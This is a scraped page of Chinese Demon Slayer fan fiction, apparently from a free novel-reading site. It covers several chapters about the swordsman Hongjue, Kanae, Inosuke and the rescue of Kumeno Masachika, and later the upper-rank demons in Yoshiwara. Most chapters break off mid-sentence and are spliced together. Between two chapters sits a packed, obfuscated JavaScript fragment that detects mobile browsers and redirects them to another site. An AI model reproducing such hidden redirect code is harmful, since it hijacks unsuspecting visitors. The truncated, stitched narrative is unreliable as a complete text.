见红诀还要往那里去,老婆婆急得要伸手阻拦。即使月伊寺已经成为废墟无人居住,但红知子却仍觉得那里面会有冤魂。 十二年前的那声尖叫声,是她永远的梦魇。那时的她因为害怕没追到山林中一看究竟,事后的不安和懊悔时常折磨她到半夜惊醒。搬到山上来以后,她也始终不敢去月伊寺里面去,在夜深人静时,总有一阵幽幽的哭声从月伊寺传来。 红知子眼神带着恐惧,死死拉住红诀的衣袖。 “不能去!” “没事的,婆婆。我很厉害,我帮您去看看里面有什么东西。如果月伊寺已经是一片废墟,您也不用一直守着了。” 红诀安抚地说,他和香奈惠也不可能放着老婆婆红知子一个人在这里就离开。 知道红诀实力的香奈惠也帮着安抚,但老婆婆始终不干,劝说无果,直到红诀一拳击碎院旁的树木,被吓得惊魂未定的婆婆才松了口。 这么小的孩子,这么力气这么大。 被吓了一跳的红知子还没缓过 29.少年与伊之助 《红诀[鬼灭]》全本免费阅读 孝治的到来引出了婆婆红知子的另一面,也让红诀和香奈惠两人放下心来。婆婆还有亲人在世,后面也有人照顾。打闹一阵的婆孙两人总算歇停了一些,老婆婆向孝治介绍了红诀和香奈惠。 四人简短地聊了一会,香奈惠原本想着明天一早再帮婆婆搬到山下去的,但老婆婆当即打算现在就搬。因为来了孝治这个家伙,家里并没有多余的空房间,她也不好让红诀他们两人没有地方休息。 而且她自己的东西也不多,到山下也有住处来招待他们。 听到老婆婆的打算,红诀和香奈惠也没有什么意见,他们也不需要休息,能尽快安顿好婆婆,他们也安心。 老婆婆虽然年纪大但动作却很利索,三两下就收拾好自己的东西,扎成包裹放在门口的推车上。婆婆在山下的家离这里并不远,不到两个小时,刚刚还在聊天的四人也已经到达山下。 老婆婆红知子的家就在孝治家的隔壁,虽没人居住,但隔壁的弟弟也时常过来打扫,也不算脏,她自己偶尔也会下来。天色已经很晚,到山下后,四人也各自去自己的房间休息,一切等明天一早起来再说。 次日一早,香奈惠被外面的喧闹声吵醒。她的房间在红诀隔壁,整理好衣服,她向外走去时,发现隔壁的红诀已经起床。敞开的房间内,叠整齐的被子被放在正中央。 循着声音向外走去,是在院外。红知子婆婆的院子与弟弟孝次郎是相通的,此时的院外除了红知子两姐弟和红诀、孝治外,还多了另外一个人。 应该是人吧?香奈惠有些惊异地看着戴着野猪头套的少年。 少年上身没穿衣服,头上戴着一个野猪头套,根本看不清脸,凭借身形和声音,大约是在十岁左右。 “伊之助!昨天的事情我还没找你算账呢!”昨晚见到的大耳朵少年孝治正大声地朝着野猪少年说着,却丝毫不敢靠近。 “章鱼治,你好吵啊!我饿了。”野猪少年坐在地上单手撑着脑袋,对着孝治的挑衅爱答不理。 “这位少年是谁?” 香奈惠就近坐在红诀旁边,低声问道。红知子婆婆正和弟弟孝次郎坐在一起喝着茶,红诀也陪在一旁,静静地看着眼前的闹剧。 他也是刚刚起来,前脚刚坐下时,香奈惠就来了。 “孝次郎爷爷说他叫嘴平伊之助。”红诀又倒了一杯茶递给香奈惠。 “嗯嗯,是我孙子伊之助。”红知子婆婆的弟弟孝次郎是一位很和蔼的老人,只是头发有些稀疏,和姐姐红知子有点相像。 “这就是让孝治气得上下直跳的小子。”红知子婆婆大部分都在山上,对于传闻中的野猪小子,也是从来没见过面,今天还是第一次见。 “不错,很有气势。” 院内的伊之助被聒噪的孝治烦得不行,一个后仰起跳,轻巧地站在地上,向孝次郎这边靠近。 “伊之助,来来来。爷爷这里有好吃的年糕片。” 看到伊之助往这边靠,孝次郎高兴地说道,颤颤巍巍的手抖着将桌上的年糕片递给他。 “爷爷!我才是你的孙子!婆婆你倒是制止下健忘的爷爷啊!”孝治看着眼前爷孙和谐的一面,暴躁地说。 红知子婆婆不理会:“孝治你小子,真是小气!” 孝治崩溃:“我才不是小气呢!” 见孝次郎招手,伊之助也丝毫不客气,他将整盘年糕片抱在怀里,坐在孝次郎旁边埋头就吃。红诀和香奈惠两人的眼睛也好奇地跟着他的动作移动。 看来他和孝次郎爷爷很亲近。 红诀看着少年和孝次郎之间很近的距离想着,少年的吃相并不好看,就算吃东西他也不摘下野猪头套,不断有碎屑从头套里掉落出来。孝次郎爷爷也不恼,轻轻地拍打着少年的背部。 注意到红诀两人直盯盯的注视,伊之助停下口中的咀嚼动作。野猪头套的鼻子处突然冒出两股白气,他有些不爽地说:“看着本大爷干什么!” 名为嘴平伊之助的少年,生活在月伊镇另一面的山上,自小被野猪妈妈收养,时不时也会到山下来。孝次郎爷爷是他三岁左右认识的老爷子,会教他识字,还会给他好吃的年糕片。不在山上巡逻的日子,他就会下来吃好吃的年糕片。 今天也是如此,虽然孝次郎这里来了三个他不认识的人,但作为山大王的他并不介意小弟贸然带陌生人进入他地盘的举动。 只是小弟带来的几个人为什么要一直看着他。 嘴平伊之助有些不爽,他三两下吃完手里的东西,一个鲤鱼打挺猛然凑近红诀他们。 “你是要和我争山之王的称号吗!” 伊之助突然而来的靠近并没有吓到红诀和香奈惠,倒是吓倒了一旁的红知子婆婆。红诀动作灵敏地接过红知子婆婆因为惊吓抛出的茶杯,他的手很稳,杯里的茶水一点都没洒出来。 红诀不解:“山之王?那是什么?” 香奈惠思考:“是山大王吗?” “哼哼,俺就是这里的山大王。”伊之助没有和红诀他们拉开距离,仍旧保持非常近的距离得意洋洋地说道,“不对,你身上有好闻的气息,是什么?”突然闻到好闻的味道,伊之助凑得更近,目标明确地凑到红诀的衣襟前。 见此,红诀抵住伊之助的野猪头,从怀里掏出一盒巧克力,“你说的是这个吧?” 这是红诀在浅草那会买的,原本是作为临时补充体力的点心。不过,现在就拿出来和大家一起分享吧。 “巧克力?是什么东西?”伊之助看着铁皮盒子蠢蠢欲动,他能感受到坐在他前面这两人并不简单,长年生活在山林之中,他也练就了野兽一般的直觉。 特别是拿着铁皮盒子这个人,直觉告诉他这个叫红诀的家伙非常厉害。 啪嗒一声,红诀将盒子打开,从里面拿出一颗巧克力,剥开颜色艳丽的糖纸,他将黑色的巧克力球放在手里。 “你要试试吗?”他买的是牛奶口味的,应该是甜的。 黑色的玩意,能吃吗? 伊之助犹豫,但鼻尖的香味又十分诱人。眼前的人又没有恶意,他心一横,直接拿起巧克力送进嘴中。 入嘴的一刻,他整个人僵住。 看着伊之助僵住的模样,红诀担忧地问:“有什么问题吗?” 不应该啊,这种巧克力他也吃过了。 “这是什么玩意,好吃!”回味地舔了舔嘴巴,伊之助 30.少年与意外 《红诀[鬼灭]》全本免费阅读 “帅气吗?” 红诀重复着伊之助的话,他看着眼前仰着看着他的少年,又回头看向坐在檐下一直看着伊之助的孝次郎爷爷。 “那我就教你变得强大的方法吧。” 红诀伸手摸了摸伊之助的野猪头套,“等你觉得自己已经变得很强大,就来找我吧。” 红诀并不想让伊之助加入鬼杀队,但他决定教给伊之助呼吸法。鬼杀队的呼吸法并不是不能向外传授,伊之助很有天赋,他那柔软的关节技巧和敏锐的直觉都是天生的战斗天赋。 他并没有教授伊之助沙之呼吸或者水之呼吸,只是单纯教给伊之助全集中呼吸,以及如果遇到恶鬼的应对方法。和红诀意外同频的伊之助理解得很快,短短半个小时内,就已经能重复红诀教给他的话。 时间紧迫,红诀和香奈惠并不打算久留,在看伊之助已经知道自己所说的呼吸方法后,他们两人也打算启程离开。临别前,红诀给伊之助留下一个地址,如果他以后想要来找他,可以到那里去。 红诀给的是狭雾山的地址,作为红诀到这异世界的第一个落脚处,他早已把那里当成了家。 看着红诀对伊之助有些上心的模样,已经和他离开月伊镇的香奈惠有些好奇地说,“红诀你,为什么不直接将伊之助收为继子呢?” 继子是直属于鬼杀队柱的弟子,红诀已经是沙柱,完全可以将伊之助收为继子,就像她和香奈乎一样。香奈惠已经决定,等这件事调查完,就将香奈乎收为继子。 “可能是觉得我和他有些相似吧。”红诀偏头笑着对香奈惠说,“看到他,就像看到曾经的自己。” “教给他强大的方法,其实是想给他足够的力量去保护自己想要保护的人。” 保护自己想要保护的人…… 香奈惠想起了孝次郎爷爷,那个一直看着伊之助的老人。 原来是这样,她突然明白了红诀的用意。 “如果伊之助后续再想加入鬼杀队的话,他一定会来找我的。”红诀不掩饰自己的算盘,“现在嘛,就先让他好好思考自己想要什么吧。” 的确,现在的鬼杀队并不缺乏人才,现役的四柱外,还有已经成为甲级队员的锖兔、义勇,不死川和粂野匡近。尚且年幼的伊之助应该去享受属于他自己的生活。 “啊拉,这样一来,和红诀比起来,我对香奈乎是不是太严格了呢?”香奈惠开玩笑地说。 红诀认真解释:“不是不是,我不是这个意思。” “香奈惠不也是,说要把香奈乎收为继子,但始终没让香奈乎出去执行任务。” 看着红诀认真解释的样子,香奈惠也不调侃他了。红诀现在的心思就和她对香奈乎的心思一样,他说的对,她对香奈乎的期许,就只是想让她能快乐生活。而且,香奈乎现在的实力,再磨练一阵子吧。 想起那个孩子过于封闭的内心,香奈惠期待着她能真正透露自己想法的一天。 而现在嘛,就让他们这些大人先替他们走一段路吧。 “那我们这些大人就要开始努力了。”香奈惠伸了伸懒腰。 “嗯,该继续行动了。” “哎呀,我忘记了,红诀你现在还只是12岁呢。” “香奈惠,你别在逗我了。” “我说的可是事实~” 从月伊镇离开后,红诀和香奈惠再度整合情报,并将调查的事情通过阿黑传递给产屋敷耀哉。产屋敷耀哉回信得很快,在信中,他对红诀所反映的浅草府的情报作出回应。 他提出,浅草府完全迥异的行事风格或许来自鬼舞辻无惨的指令。 ''鬼舞辻无惨是个谨慎的鬼,不然这么多年,鬼杀队也不会摸不到上弦的痕迹。可以推测,上弦贰的举动在他看来太过张扬,所以才会出令制止。'' 信中,产屋敷耀哉还附上新的关于万世极乐教的情报,这次涉及的地点不少,足够红诀和香奈惠继续再进行调查一阵子。快速分配好任务,两人分头行动。 红诀的行动力惊人,短短半个月内,已经和香奈惠摧毁了多个万世极乐教的地点。鬼杀队这般张扬的举动,却始终没引出上弦的影子。红诀两人都能明显感受到调查进展的困难,但同时,每次摧毁据点时发现的残酷事实却逼迫他们不能停下调查的脚步。 他们无法忽视这个看似追求永生的万世极乐教背后所隐藏的黑暗和残酷,不去调查就会有更多人陷入泥沼。调查的表面看似顺利,但却始终没摸到上弦的影子,这让一向稳重的香奈惠都有些暴躁。 然而红诀还是踏踏实实地一步步沿着调查的方向前行,本该比香奈惠更情绪外露的他却始终保持沉稳,让产屋敷耀哉和香奈惠有所惊讶。 已经解决一个据点的红诀此时正穿梭在山林间,他下一个目标是这座山对面的村庄。茂密的山林中,红诀如履平地地穿梭其中,半月来的奔波让他脸上的婴儿肥已经消减不少,脸部的轮廓更为锋利。 簌簌的风声从耳边掠过,红诀眼睛不断扫过底下的地面,优越的动态视力让他能捕捉到飞速往后退的一切,自然也没错过,此时正在一处扎营的隐。 察觉到隐的出现,红诀从树上跳下。这里出现了隐,就说明这里出现了恶鬼。 突然出现的红诀顿时吓了扎营的三名隐成员一跳,要不是现在还是白天,他们都要拔刀了。 “红诀!不,沙柱大人,你怎么来了?”扎营的三名隐中,还有红诀的熟人,在渔女村已经见了第二次面的渡边。 “渡边,好久不见。我只是路过,看到你们在这里就下来看看。”看见熟人渡边,红诀也很开心,他亲昵地拍了拍渡边的肩膀,“你还是叫我红诀就好了。” 宇髓天元曾吐槽过的沙柱谐音,红诀还是没想出新的名字,而且鬼杀队内部消息的传递比他想象中要快。他的名字还没想好,沙柱之名就已经传遍整 31.少年与时间 《红诀[鬼灭]》全本免费阅读 当红诀冲进宅邸时,看到的是一片狼藉的土间。 瘦弱的小孩蜷缩在角落,满脸恐惧和无措。遍地的鲜血和被劈裂的地板,还有浑身是伤的不死川和粂野匡近。不死川实弥的颈部在不断出血,但粂野匡近的伤势更重,腹部的贯穿伤流出的鲜血染红他和不死川的衣服,也染红了周围的地板。 “不死川!” 看到这一幕,红诀快速奔到他们身边,拿出身上的药包就开始做应急处理。同时,身体内的魔神之力又一次触发,远在世界之外的马尔巴士再度投下注视。 “我已经通知了隐。先不要说话。” 他快速地说,金色的魔神之力不断涌入不死川和粂野匡近的身体。不死川的伤势还不危及性命,金色的魔神之力短暂在他体内停留一阵后又涌入粂野匡近的体内。 粂野匡近的腹部伤势过重,如果不能及时止血,后果将不堪设想。 不死川满脸恐慌地抱着粂野匡近,一向暴躁无畏的脸上带着几分无措。 [马尔巴士。这回不算晚对吧。] 红诀看得很清楚,粂野匡近的生机之力不像当初仁田那样,暗淡无光地散布在身体各处。粂野匡近的生机之力起码还成团状,凝聚在他心脏周围。 [还不算晚。] 马尔巴士没有反驳,比起当初的仁田,现在的粂野匡近还能救。 金色的时钟图案围绕着粂野匡近的腹部慢慢凝聚,不像当初那样一次次消散,这次的魔神之力成功在粂野匡近身上留续了他的生机之力。 图案形成的那一刻,红诀和马尔巴士都松了口气。 成了,只要粂野匡近得到后续治疗,就不会死亡。 耗费大量的魔神之力,红诀有些脱力,他跌坐在狼藉的地面上,看着眼前的师兄弟。 “那两个孩子呢?”粂野匡近虚弱地说,话一出口他又敏锐地察觉到自己体内的异常。刚刚还在大量出血的伤口像是止住了,那种生命力不断流逝的感觉也渐渐消失…… 这是怎么回事?是因为红诀帮我做了应急处理吗?可是刚刚实弥也有帮我止血…… 粂野匡近出声的那一刻,渡边他们也跑了进来,他们被眼前狼藉的场面吓了一跳。渡边和后藤有经验地安排长泽带着那两个受惊吓的孩子出去,后两人一起检查不死川他们的伤势。 “隐已经来了……”不死川艰难开口,颈部的伤口让他张嘴时异常疼痛。他抱着粂野匡近冰冷的身体,咬紧牙关回答道。 “不死川大人,让我们看看粂野大人的伤势,还有你的伤势也……”后藤犹豫地开口。 不死川知道自己的伤势并不危及生命,他沙哑着声音让渡边先看看粂野匡近的。渡边也小心地查看粂野匡近,尽量不触及,但当他移开粂野匡近的手臂,下意识倒吸一口凉气—— “粂野大人……” 这样的伤口,渡边看过很多。这样的伤势,根本撑不到去蝶屋。 “渡边,别放弃。我带着粂野匡近回蝶屋,你安顿好不死川和那两个孩子。”红诀从外面走了进来,他已经让阿黑去通知蝶屋那边了。粂野匡近身上的魔神之力能勉强维持住他的状态,在这期间他要尽快让粂野匡近接受到治疗。 “可是……”这样的伤势…… 渡边和后藤都不抱有信心,不死川也是,目睹粂野匡近是如何受伤的他也心知肚明。他握紧自己的拳头,颤抖地想要开口,却被粂野匡近出声制止。 “我觉得,或许我还可以抢救一下……”他弱弱地道,虽然不知道发生什么事情了,但以他现在的状况,他觉得自己可能还有救。 “粂野,你先用呼吸法将伤口周围的流血的血管止住。” “我努力。” 粂野匡近虚弱地笑了笑。 “不死川,时间不等人。”红诀正色地说道,他一把把粂野匡近稳稳抱起,并不强壮的体魄却给人奇怪的安全感,让大他一圈的粂野匡近有些不自在。 “我也一起去。”看到粂野匡近和红诀的严肃,不死川也不再拖延。他强撑着要一起跟去,却被周围人制止,最后只能由渡边背着他跟着红诀身后。后藤和长泽负责这里的善后工作。 熟悉的山林中,红诀稳稳地抱着粂野匡近快速赶路。刚刚消耗魔神之力的他体力不必以往,慢下来的速度刚好不会加重粂野匡近的伤势。 红诀的身后远远缀着背着不死川的渡边,只是隐的渡边没有红诀的速度,只能奋力在林间奔跑。这对比缓慢的速度让他背上的不死川暴躁地想要跳下来自己跑。 “跑快点阿,混蛋。”他恶声恶气的话语在渡边的耳边回荡,但声音中的虚弱无力却让渡边生不起气来,只能好声安慰,“不要着急,我尽量跑快点!” 伤势也不轻的不死川也只是嘴上说说,他也看得出渡边已经很努力,毕竟他的汗水已经打湿了整个领口。不死川的眼前从空屋出来就一直处于昏暗的状态,想要昏睡的欲望不断上涌,他死死地盯着前方,生怕前面那个红色的背影突然停下,带来不好的消息。 会没事的,对吗?匡近…… 要是知道自己身后的师弟不再别扭,满脑子都是对自己的关心,已经在红诀怀里陷入昏迷的粂野匡近估计会十分欣慰。红诀的魔神之力虽然暂时止住了粂野匡近的伤势,让其不再恶化;但严重的伤势和失血过多还是让粂野匡近陷入了昏迷。 在赶路途中,红诀也时时关注粂野匡近的情况,魔神之力也不曾间断。 [小子,你这样下去还有体力赶到蝶屋吗?]马尔巴士看着红诀过于拼命的架势,出声安慰道。 [有的,我能撑到蝶屋。]红诀脚步不停,一心三用。 [马尔巴士,你说我能救得了他吗?] 自家宿主示弱般的询问让马尔巴士一愣,有种被依靠的奇异感觉让他不自觉坐直了身子,[放心,我看这个叫粂野匡近的生命线还没到尽头的样子。] 在红诀使用魔神之力时,他也关注着自家宿主周围的一切。粂野匡近体内的魔神之阵很稳定,红诀身上的愿力也很给力,只要不出意外,红诀将粂野匡近送到蝶屋,粂野匡近就有救。 只要不出意外,只要规则之力不要继续投下注视…… 有件事马尔巴士一直没对红诀说,他有种不详的预感,冥冥之中有种直觉,红诀所处的这个世界的规则之力并不简单。几次的观察下来,他总觉得这股规则之力有意识。 从 32.少年与沉睡 《红诀[鬼灭]》全本免费阅读 [叫醒粂野?]红诀下意识看向怀里的粂野匡近。 他明显降下来的速度已经引起了后面渡边和不死川的注意,一直追赶的渡边甚至就离红诀不到几步的距离。 “怎么回事?红诀!”一直盯着红诀背影的不死川是最先感觉到前面速度的降下来,他甚至督促渡边加快脚步,赶快赶到红诀身边。 “是匡近怎么了……”吗? 总算和红诀并肩的不死川第一眼就看到了红诀惨白的脸,心中咯噔一下,下意识去看他怀里的粂野匡近。但粂野匡近胸口的起伏明显地告诉他匡近没有事情,还活着。 但为什么……红诀的脸这么白,就像是在忍着什么强烈的痛苦一样。 “你怎么了?红诀?” 他将出口的话收回,转为询问明显不对劲的红诀。 “我……”红诀使劲咽下一口唾沫,“不死川,立马叫醒粂野。”他颤抖的声音带着急切,澄澈的双眼带着恳切,让不死川有种强烈的直觉。 现在,叫醒匡近?为什么? 他很想问,但看着红诀的双眼,他却下意识伸手了自己的手,握拳朝粂野匡近的头部使劲来了一拳,就和往常两人打闹一样。 哐当一声,让满身是汗的渡边抖了一下。 不是?为什么要叫醒粂野大人,而且,你居然还真下得去手吗!你是恶魔吗! [红诀,赶紧叫醒粂野匡近。]马尔巴士沉声道,[只有他醒了,他才能活。]你也不会死。 在不死川的一拳下,本窝在红诀怀里昏迷的粂野匡近一下从昏迷中惊醒,头上的疼痛让他下意识虚弱出声:“实弥,你下手也太重了……” 粂野匡近从昏迷中清醒后,第一眼看到的不是他吐槽的师弟,而是冷汗淋漓的红诀,他惨白的脸和颤抖的身躯都通过接触实实在在传递到他身上。 你怎么了?红诀?为什么会这么痛苦? 粂野匡近想要去擦掉红诀的冷汗,却看到少年温柔地看着他,轻声道:“不死川,绝不能让他昏迷过去。” 少年面容温柔,却语气强硬,带着以往不曾表露的强势和严肃。 [果然,只要他醒过来,一切就好办了。]看到粂野匡近醒来后体内的状况,马尔巴士拍了拍自己的胸口,[只有土著世界民自身的意志,才能限制住规则之力。] 马尔巴士所看到的粂野匡近体内,那股入侵的规则之力随着粂野匡近的清醒开始消退,甚至被排斥一样地退出粂野匡近的体内。 解决粂野匡近被规则之力左右的结局,红诀也一下子笑了出来,虽然规则之力的侵蚀并没有从他自己的身体内退去,那股强烈的疼痛依旧折磨着他的神经,但他还是非常开心。 [好了,红诀。只要那小子醒着,你留下的魔神之阵就不会被规则之力干涉。]马尔巴士看着还在强撑的宿主,解释道,[你现在可以停下了,不用继续输送了。他体内的局势,我会帮你看着。] 比起粂野匡近体内结束的交锋,红诀体内仍旧是一边倒的趋势,只有红诀停止使用,才能让规则之力没有停留的理由。 身体本源被排斥的痛苦,也不知道这小子是怎么坚持到现在的。 [好的……马尔巴士。]红诀强忍着痛苦将粂野匡近体内的魔神之阵进行加固后才停止魔神之力的输送,而此时,蝶屋也近在眼前了。 被红诀事先联系过的蝶屋医护人员正在院前焦急等待,其中也包含蝴蝶香奈惠和蝴蝶忍。香奈惠这回抽空回到蝶屋是要和蝴蝶忍商量关于红诀血样的研究结果的,却没想到收到红诀的紧急信件。 “他们来了!”蝶屋新来的后勤护理人员神崎葵眼尖地看到远远赶来的身影。 “小忍。” “是,姐姐。” 蝴蝶姐妹很有默契地上前接收伤员,香奈惠从红诀怀里接过已经气若悬丝的粂野匡近。粂野匡近已经眼前发黑了,但自家师弟还有红诀警告自己一旦睡过去就是死亡,现在的他属于强撑着精神而已。 不死川受伤也不轻,但他婉拒了蝴蝶忍的帮忙,趴在渡边肩上依旧警告粂野匡近不能睡。 受伤的两人很快被送入病房接受诊治,蝴蝶姐妹都换好衣服进入手术室。手术室外,此时就只剩下红诀、渡边还有还没有资格进入手术室的神崎葵。 “喂,红诀,你还好吗?”累得一身汗的渡边有些担忧地看着脸色依旧煞白的红诀。 此时的他不似今天刚见面的样子,脸色比受了伤的不死川还白几分,额上满是冷汗。 “我没事,这是有点累而已。” 红诀笑了笑,感觉自己有些困了。不继续输送魔神之力后,体内的规则之力也停止了侵蚀,但残留的疼痛还有耗费的体力是很难一下子完全消除和恢复了。 现在他感到了从未有的疲惫,他很想睡一觉。 累,为什么? 渡边不理解,难道他有旧伤? “你身上有旧伤吗?复发了?” 红诀抿了抿唇,使劲拍红了自己的脸,“只是简单的软组织挫伤,不要紧的。而且我已经连轴转好几天了,可能是没休息好吧。” 这点红诀没说谎,这几天他的确都没休息过,一直在捣毁万世极乐教的据点上忙活。上弦贰的销声匿迹让他内心还是存在几分急躁,只是表面上并没有表现出来而已。 一旁的渡边和神崎葵听了红诀的解释,对柱的辛苦程度再次提高了一个档次。 真是辛苦啊! 守在门口的神崎葵看着两人,有点腼腆地说:“沙柱大人,不介意的话,可以让我看下伤口吗?” 渡边点头:“对,你帮他看看。” 红诀却摇了摇头,“蝶屋还有空房间吗?我想休息一下。” “当然有,我带您去。”听到红诀要休息,神崎葵立马引着他往空房间去。渡边也跟红诀说,他在这里守着就行了。 已经从马尔巴士那里得到粂野匡近的生命线依旧强劲的红诀也没有什么担忧地方,他现在,实在是太困了。 跟着神崎葵到空房间的红诀强撑着卸下自己的武器,在简短交代好神崎葵等手术结果出来后再来叫醒他后,他就陷入被褥中,放任自己沉溺在黑暗之中。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12870420|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个红发小鬼的血液或者是他那股奇异的能力。 “自是当然。” 童磨话中的含义,玉壶和堕姬都清楚,那位大人的命令才是首要。 “不能着急。” 童磨轻摇手中的铁扇,七彩的双眸微眯,“一旦打草惊蛇就不好了。” 他走到窗边打开窗户。 夜色之下,吉原的花街才真正开始醒来,整条街都灯火通明,结伴的行人,端坐在街边演奏的艺伎,热闹非凡。 童磨的眼神轻轻地落在街上被人所抬的软轿上,深紫色的蒲团上,此时正端坐着一位容貌温婉的女子。她眉眼低垂,手中抱着一把三味线,黑色的长发高高盘起,露出好看的眉眼。 周遭的行人都被软轿上的女子迷了眼,纷纷驻足在街道两侧,自然而然地分开一条通道。 “那便是现在时任屋最火的花魁吗?” “是紫藤小姐,真好看。” “我觉得时任屋的须磨和鲤夏小姐也非常不错呢。” “我也觉得,三人角逐花魁之位真的是太激烈了。” “要是三位小姐都是花魁该有多好呢。” 路上的行人议论纷纷,而从楼上自上而下观看游街的童磨则是紧盯那位坐在软轿上的紫藤小姐,眼中满是趣味—— “哎呀哎呀~竟然是她。” 他没想到在这里竟然会遇到当初那个女孩子,他想想,对了,是叫花柱来着。 鬼杀队的花柱是追查谁来到这里的? 玉壶?堕姬?还是我呢? 童磨的铁扇掩住半边脸,七彩的眼眸中晦暗一片,原本预想的计划在不知不觉中发生了一些变数。花街出现的柱的时机过于凑巧,他看着底下的香奈惠,低头沉思着。 此刻,游街的队伍中,低垂着眉眼的蝴蝶香奈惠似有所感地朝上看了一看,而楼上也挤满了人群,让她很难分辨出刚刚那股视线来自何处。 见她有所警觉,紧紧跟在轿子旁边的蝴蝶忍小声地问香奈惠,“姐姐,怎么了吗?” 看见换了一身打扮,将自己掩盖得并不出色的妹妹,香奈惠轻轻摇了摇头。 她化名紫藤潜入花街已有小半年,在一开始和宇髓天元先生的三位夫人碰面后,她们也分开潜入了目前花街最有名气的三个地方。 她和须磨小姐潜入的是时任屋,阿忍作为侍奉她的侍女一同入内。为了能有灵活出入的身份,蝴蝶忍特地掩盖了自己和姐姐一样出色的相貌,利用了一些小手段,时常在时任屋和其他地方出入。 宇髓天元的另外两位夫人,雏鹤小姐去了京极屋,那里已经有了一位颇有盛名的花魁蕨姬。而牧绪小姐则是去了荻本屋。她们潜入已有两月,这些日子以来,她们靠雏鹤小姐她们的一些忍者手段在秘密联系,蝴蝶忍还在联系的老鼠身上附着了降低恶鬼注意的毒素,联络到现在都没出现什么问题,一切都非常顺利。 她作为紫藤成为时任屋的新一任花魁,也是她们和宇髓天元所作计划的关键一环。 但不知为何,在出发前还算轻松的心情在察觉刚刚视线时却有一种不好的预感。 这里会发生什么事情呢? 70.少年与发现 第70章 远在花街的北面,红诀三人还逗留在废弃小院之中。 不死川和炼狱看着在地上还在寻找什么东西的红诀,不由得走过去询问。 “你在找些什么?” 这里有什么东西吗? 他们盯着红诀手底下黑黢黢的一片泥土。只见红诀白皙的手在泥土中翻动,透过土壤和沙砾,一片瓷片从泥土中被翻出来。 白底蓝纹的瓷片看不出原本的图案,只有崭新的瓷面象征它并不属于这处废弃宅院。 “瓷片?” 炼狱伸手接过红诀手里的碎片,借着月光仔细观察。 “这里居然有这么新的瓷片,还有吗?”不死川也对这突兀的瓷片感到了不对劲,他蹲在红诀身侧,跟着他一起翻找周围的泥土。 “没有。”红诀已经把周围的泥土都翻遍了,这么崭新的瓷片,只有炼狱手里这一片。废弃的小院里到处都是生锈和落满灰尘的农具,据隐的情报,此处已有数十年无人居住和来往。 最近客人正是红诀三人和大批低级鬼,这瓷片的来处让人起疑。 “也没有听说万世极乐教有做瓷器生意。” 红诀三人所追查的据点并不在这处废弃小院,那个据点距离这里还有很长一段距离,他们是突然被大批低级鬼围堵在这里的。 “的确,要说与瓷器有关的鬼,也只有蝴蝶和宇髓他们所追查的玉壶了。” 炼狱抱胸点头,但吉原与这里相隔甚远,之前柱合会议上,宇髓也说在吉原的调查已有了收获。这瓷片会和远在吉原的玉壶有关吗? 不死川拧紧了眉:“总感觉有什么不对劲的地方。”童磨的迷雾弹后面究竟隐藏着什么? 从捡到瓷片开始就一直没说话的红诀拍了拍自己手上的泥土,他脸色凝重,对着不死川和炼狱说道,“这瓷片不只有一片。” “什么意思!?” 红诀从自己的口袋又掏出了另外一片瓷片,那是他在上次被围堵的附近找到的碎片。见此,不死川和炼狱将两片碎片凑近比对。 两片碎片上的图案和颜色各不相同,完全没有相似的地方。 “没想到上回也有。一次是巧合,两次就值得重视了。”看着月光下的两片瓷片,红诀三人心下不安。 “和主公大人汇报一下吧,吉原那里的情况,也不知道怎么样了。” 说罢,红诀召来阿黑,写下信件并将瓷片小心绑在它的身后,黑色的鎹鸦背着红色布料所制成的小背包,豆豆眼睛朝红诀三人点点头,转身便飞向高空,消失在三人的视野之中。 浓郁的夜色之下,黑色的鎹鸦自废弃小院离开,飞往延绵的山林。 另一边,吉原花街。 花魁的游街已经结束,看完全程的童磨也离开了窗边,落座在原先的位置上。没了鸣女,他们这些上弦鬼之间的联系全靠玉壶。 能在壶间彼此穿梭的玉壶有着别样的情报收集能力。红诀那边的情况也被他尽收眼底,堕姬这里的情况也不例外。 玉壶看着若有所思的童磨,有些不怀好意地凑近他。 “童磨大人,是发生了什么情况吗?那名花魁,您认识?” 闻言,已经化好妆的堕姬也回过身来,看着童磨。玉壶口中的花魁她也知道,是时任屋新来的紫藤,有几分姿色。 怎么,那个紫藤是鬼杀队的人? 玉壶所说的小虫她知道是哪些人,鬼杀队的人像飞虫,无时不刻在到处进行调查。吉原这个引人注目的地方也不例外,白天休息,夜间营业的花街,完美合乎鬼的生活作息。这里每年都有鬼杀队的剑士出没,但只要不触及她的利益,她能吃便吃能放就放。 哥哥说过了,斩草除根太过惹眼,放长线才能钓鱼。 童磨无意隐瞒什么,他轻声地说,“那个紫藤啊,是个柱哦。” 对此,玉壶大笑几声,“那不是正正好。”他笑得整个壶身都在颤抖,刺耳难听的声音也让堕姬皱紧了眉。 “正正好?”童磨低语地重复道。玉壶的欣喜他能理解,原本计划之中便是要将花街作为诱饵来吸引鬼杀队的注意。但—— 计划的先后顺序可是有很大的关系。鬼杀队的花柱在他们还未启动计划便出现在这里,表面是有利于计划,少去了放出消息这一步,而顺序的先后不一样,或许会出现差池。 他的铁扇轻合,思索着计划全盘,良久,他还是放下了铁扇。 算了,计划已经启动,牵扯太多人。他可不想当说客,太过麻烦了。 ***** 夜晚,产屋敷宅邸。 还没休息的产屋敷耀哉正挑灯沉吟着桌上的信纸,手里的笔停在纸上,却始终没有在纸上留下字迹。 柱合会议后他曾与蝴蝶忍聊过,说起鬼舞辻无惨那极具破坏性的血液问题。多亏了红诀和锖兔义勇他们,让鬼杀队对鬼舞辻无惨的攻击方式有了些许了解。先不论那快速诡异的血鞭,单是鬼舞辻无惨那将自身血液通过攻击无声渗入人体的方式,就是一大隐患。 通过蝴蝶忍的口述,鬼舞辻无惨那极具破坏性的血液要是没有红诀的禁锢,能在短时间内破坏掉人体的正常细胞,可以让训练有素的剑士丧失战斗能力,浓度高甚至丧失生命。产屋敷耀哉心系鬼杀队的剑士们,在得知这一破坏性的同时,他就一直在想解决的方法。 